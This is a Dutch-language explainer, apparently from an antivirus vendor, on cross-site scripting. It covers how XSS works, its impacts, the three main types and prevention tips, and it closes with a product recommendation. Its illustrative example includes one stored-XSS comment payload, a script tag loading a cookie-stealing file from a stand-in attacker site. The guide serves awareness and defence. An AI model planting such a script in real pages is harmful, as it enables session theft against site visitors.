Wat is cross-site scripting?
Cross-site scripting of XSS is een aanval waarbij schadelijke code wordt geïnjecteerd in websites die doorgaans betrouwbaar zijn. Bij een XSS-aanval injecteren cybercriminelen schadelijke scripts in de content van de aangevallen website. Deze scripts worden vervolgens opgenomen in de dynamische content die naar de browser van een slachtoffer wordt gestuurd. De browser kan de schadelijke scripts niet onderscheiden van betrouwbare content en voert ze dus uit.
Op deze manier krijgen de schadelijke scripts toegang tot alle cookies, sessietokens en andere gevoelige informatie die in de browser zijn opgeslagen en op de website worden gebruikt. Aanvallers gebruiken XSS ook om malware te verspreiden, de content van websites te wijzigen, problemen te veroorzaken op sociale netwerken en inloggegevens van gebruikers te stelen. Het verschil met andere webaanvallen is dat XSS niet op de applicatie zelf is gericht. Het echte doelwit zijn de gebruikers van de webapplicatie.
Hoe cross-site scripting werkt
Cross-site scripting houdt in dat een kwetsbare website op zo'n manier wordt gemanipuleerd dat deze schadelijke scripts naar gebruikers stuurt. Vaak gebeurt dit met JavaScript, maar eigenlijk kan elke taal voor clientapplicaties hiervoor worden gebruikt. Cybercriminelen kiezen websites met kwetsbare functies die gebruikersinput accepteren. Voorbeelden zijn zoekbalken, reactievelden en inlogformulieren. Criminelen voegen hun schadelijke code toe aan een legitieme website en manipuleren browsers op die manier om de malware uit te voeren telkens als de site wordt geladen.
Het JavaScript wordt uitgevoerd binnen de browserpagina van het slachtoffer, waardoor kwaadwillende personen tijdens een sessie gevoelige gegevens over de ingelogde gebruiker kunnen stelen, sitebeheerders kunnen aanvallen en websites kunnen hacken.
Afhankelijk van de manier waarop de code wordt geïnjecteerd, staat de schadelijke content soms niet eens op de webpagina zelf maar is het een tijdelijk element dat alleen tijdens de uitvoering onderdeel lijkt te zijn van de website. Zo kan de indruk ontstaan dat de website gehackt is terwijl dat niet het geval is.
Een XSS-aanval kan op verschillende manieren worden geactiveerd. Soms wordt het script automatisch uitgevoerd als een pagina wordt geladen of als de gebruiker een hyperlink of ander specifiek element op de pagina aanwijst. In andere gevallen wordt XSS op een directere manier uitgevoerd, bijvoorbeeld via een e-mailbericht. XSS-aanvallen hebben niet altijd een specifiek doelwit. Soms maakt een aanvaller gewoon gebruik van een zwakke plek in een app of site en maakt dan misbruik van iedereen die per ongeluk slachtoffer is geworden.
De omvang van een aanval kan variëren van het hacken van gebruikersaccounts tot het activeren van trojans en wijzigingen in de paginacontent om gebruikers te verleiden om privégegevens te verstrekken. Verder kunnen sessiecookies worden onthuld, waardoor een dief persoonlijke accounts kan misbruiken door zich voor te doen als een geldige gebruiker.
Als een XSS-aanval slaagt, kan dat rampzalige gevolgen hebben voor de reputatie van een online bedrijf en de relatie van dat bedrijf met zijn klanten. De kwetsbaarheden waardoor XSS-aanvallen kunnen slagen, zijn helaas zeer divers. Bij XSS-aanvallen wordt gebruikgemaakt van kwetsbaarheden in verschillende programmeeromgevingen zoals VBScript, Flash, ActiveX en JavaScript. JavaScript is het voornaamste doelwit van XSS vanwege de nauwe integratie van deze taal in de meeste browsers. Doordat XSS populaire platformen kan misbruiken, kunnen dit soort aanvallen gevaarlijk en van grote omvang zijn.
Impact van XSS
Een aanvaller kan XSS-kwetsbaarheden uitbuiten door schadelijke acties uit te voeren, zoals:
- Gebruikers omleiden naar schadelijke websites.
- Toetsaanslagen van gebruikers vastleggen.
- Browsegeschiedenis van de gebruiker en inhoud van het klemboard bekijken.
- Exploits in webbrowsers uitvoeren (bijvoorbeeld de browser laten crashen).
- Cookiegegevens achterhalen van een gebruiker die zich heeft aangemeld op een website.
- Het token van de inlogsessie stelen, waardoor de aanvaller de applicatie kan gebruiken door zich voor te doen als het slachtoffer, zonder het wachtwoord te hoeven weten.
- De gebruiker dwingen om door de aanvaller gecontroleerde verzoeken naar een server te sturen.
- De content van een pagina wijzigen.
- Slachtoffers misleiden zodat ze hun wachtwoord voor de betreffende applicatie of andere applicaties prijsgeven.
- Andere schadelijke code bij het slachtoffer installeren via een kwetsbaarheid in de webbrowser zelf, waarmee mogelijk de controle over de computer van het slachtoffer kan worden overgenomen.
In sommige situaties geeft een XSS-aanval volledige toegang tot het account van het slachtoffer. Een aanvaller kan gebruikers misleiden door ze hun inloggegevens te laten invullen op een nepformulier. Met de verstrekte inloggegevens kan de aanvaller vervolgens identiteitsdiefstal of financiële fraude plegen.
Typen XSS-aanvallen
Cross-site scripting is in drie hoofcategorieën onder te verdelen: opgeslagen XSS, gereflecteerde XSS en DOM-gebaseerde XSS.
Opgeslagen XSS (persistente XSS)
Opgeslagen XSS, ook wel persistente XSS genoemd, wordt gezien als het schadelijkste type XSS-aanval. In het geval van opgeslagen XSS wordt gebruikersinvoer opgeslagen en weergegeven op een webpagina. Veelgebruikte toegangspunten voor opgeslagen XSS zijn onder meer berichtenforums, reacties bij blogs, gebruikersprofielen en velden voor gebruikersnamen. Een aanvaller buit deze kwetsbaarheid doorgaans als volgt uit: er wordt XSS-code geïnjecteerd op een populaire webpagina of slachtoffers krijgen een koppeling toegestuurd om hen te verleiden naar de pagina met de opslagen XSS-code te gaan. Het slachtoffer opent de pagina en de browser van het slachtoffer voert de code uit op de client.
Gereflecteerde XSS (niet-persistente XSS)
Gereflecteerde of niet-persistente XSS is het meest voorkomende type XSS. In dit geval moet de code van de aanvaller onderdeel zijn van het verzoek dat naar de webserver wordt gestuurd. Het verzoek wordt op zo'n manier gereflecteerd dat het HTTP-verzoek de code van het HTTP-antwoord bevat. Met behulp van schadelijke koppelingen, phishing-e-mails en andere technieken met social engineering verleidt de aanvaller het slachtoffer ertoe om een verzoek te sturen naar de server. De gereflecteerde XSS-code wordt daarna uitgevoerd in de browser van de gebruiker.
Omdat bij gereflecteerde XSS geen sprake is van een persistente aanval, moet de aanvaller de code aan elk slachtoffer apart sturen. Voor dit soort aanvallen worden vaak sociale netwerken gebruikt.
DOM-gebaseerde XSS
DOM-gebaseerde XSS heeft betrekking op een XSS-kwetsbaarheid in het DOM (Document Object Model) in plaats van de HTML. Bij aanvallen met gereflecteerde of opgeslagen XSS is de schadelijke code terug te vinden op de responspagina. Voor DOM-gebaseerde XSS geldt dat niet. De HTML-broncode en -responscode van de aanval zijn hetzelfde. De schadelijke code is dus niet zichtbaar in de respons. Deze is alleen terug te vinden tijdens de uitvoering of door het DOM van de pagina te controleren.
Een DOM-gebaseerde XSS-aanval is vaak een aanval aan de clientzijde, waarbij de schadelijke code nooit naar de server wordt gestuurd. De firewalls van webapplicaties (Web Application Firewall, WAF) en beveiligingsexperts die serverlogboeken analyseren, zullen de aanval dus nooit zien, waardoor die nog moeilijker te detecteren is. De DOM-objecten die het vaakst gemanipuleerd worden, zijn de URL (document.URL), het ankerelement van een URL (location.hash) en de referrer (document.referrer).
Voorbeeld van een XSS-aanval
Voorbeeld: een crimineel ontdekt tijdens het browsen op een e-commercewebsite een kwetsbaarheid waarmee het mogelijk is om HTML-tags in te sluiten in het websitegedeelte voor reacties. De ingesloten tags worden een vast onderdeel van de pagina, waardoor de browser ze elke keer met de rest van de broncode meestuurt als de pagina wordt geopend.
De aanvaller voegt een reactie toe met de volgende regels: Artikel biedt veel waar voor je geld. Lees hier mijn volledige review <script src=”http://attackersite.com/authstealer.js”> </script>.
De HTML-tag in de reactie activeert nu bij elk bezoek aan de pagina een JavaScript-bestand dat op een andere website wordt gehost en waarmee de sessiecookies van een bezoeker kunnen worden gestolen.
Met de sessiecookie kan de aanvaller inbreken op het account van de bezoeker en makkelijk toegang krijgen tot de persoonsgegevens en financiële gegevens. De bezoeker, die misschien niet eens tot aan de reacties heeft gescrold, merkt ondertussen niets van de aanval.
In tegenstelling tot een gereflecteerde aanval, waarbij een script pas wordt geactiveerd nadat op een koppeling is geklikt, hoeft het slachtoffer bij een opgeslagen XSS-aanval alleen maar de gehackte webpagina te openen. Hierdoor krijgt de aanval een groter bereik en lopen alle bezoekers gevaar, hoe voorzichtig ze ook zijn.
Persistente XSS-aanvallen zijn moeilijker uit te voeren: de aanvaller moet een website zien te vinden die niet alleen veel verkeer trekt maar ook kwetsbaarheden bevat waardoor een permanent script kan worden ingesloten.
XSS voorkomen
Eigenaren en ontwikkelaars van websites kunnen de kwetsbaarheid voor XSS beperken door het volgende te doen:
- Webpagina's die gebruikersinvoer accepteren zodanig instellen dat ingevoerde code zoals HTML en JavaScript wordt weggefilterd.
- Webapplicaties controleren op kwetsbaarheden en de vereiste patches installeren.
- Hun website- en serversoftware updaten ter voorkoming van toekomstig misbruik van kwetsbaarheden die voor een XSS-aanval kunnen worden gebruikt.
Individuele gebruikers die willen voorkomen dat ze slachtoffer worden van een XSS-aanval, kunnen het volgende doen:
- Scripts uitschakelen op pagina's waar deze niet nodig zijn of scripts volledig uitschakelen.
- Niet op koppelingen klikken in verdachte e-mails of berichten op message boards. De koppeling zou naar een gehackte pagina kunnen verwijzen.
- Websites openen door de URL in de browser in te voeren in plaats van een externe bron of koppeling te gebruiken.
- Software up-to-date houden om de nieuwste bugfixes en beveiligingspatches toe te passen. Als je software regelmatig bijwerkt, zorgt dit voor een sterke vermindering van zwakke plekken waardoor websites of apps kwetsbaar zijn voor XSS-aanvallen.
- Controleren welke applocaties nodig zijn en welke zelden worden gebruikt. Als je niet-gebruikte apps verwijdert, verlaag je het aantal mogelijke kwetsbaarheden.
- Anti-virussoftware van goede kwaliteit gebruiken, zoals Kaspersky Total Security. Deze oplossing werkt 24/7 om je apparaten en gegevens te beschermen. Het blokkeert veelvoorkomende en complexe dreigingen zoals virussen, malware, ransomware, spyware en de nieuwste trucs van hackers.
Gerelateerde artikelen: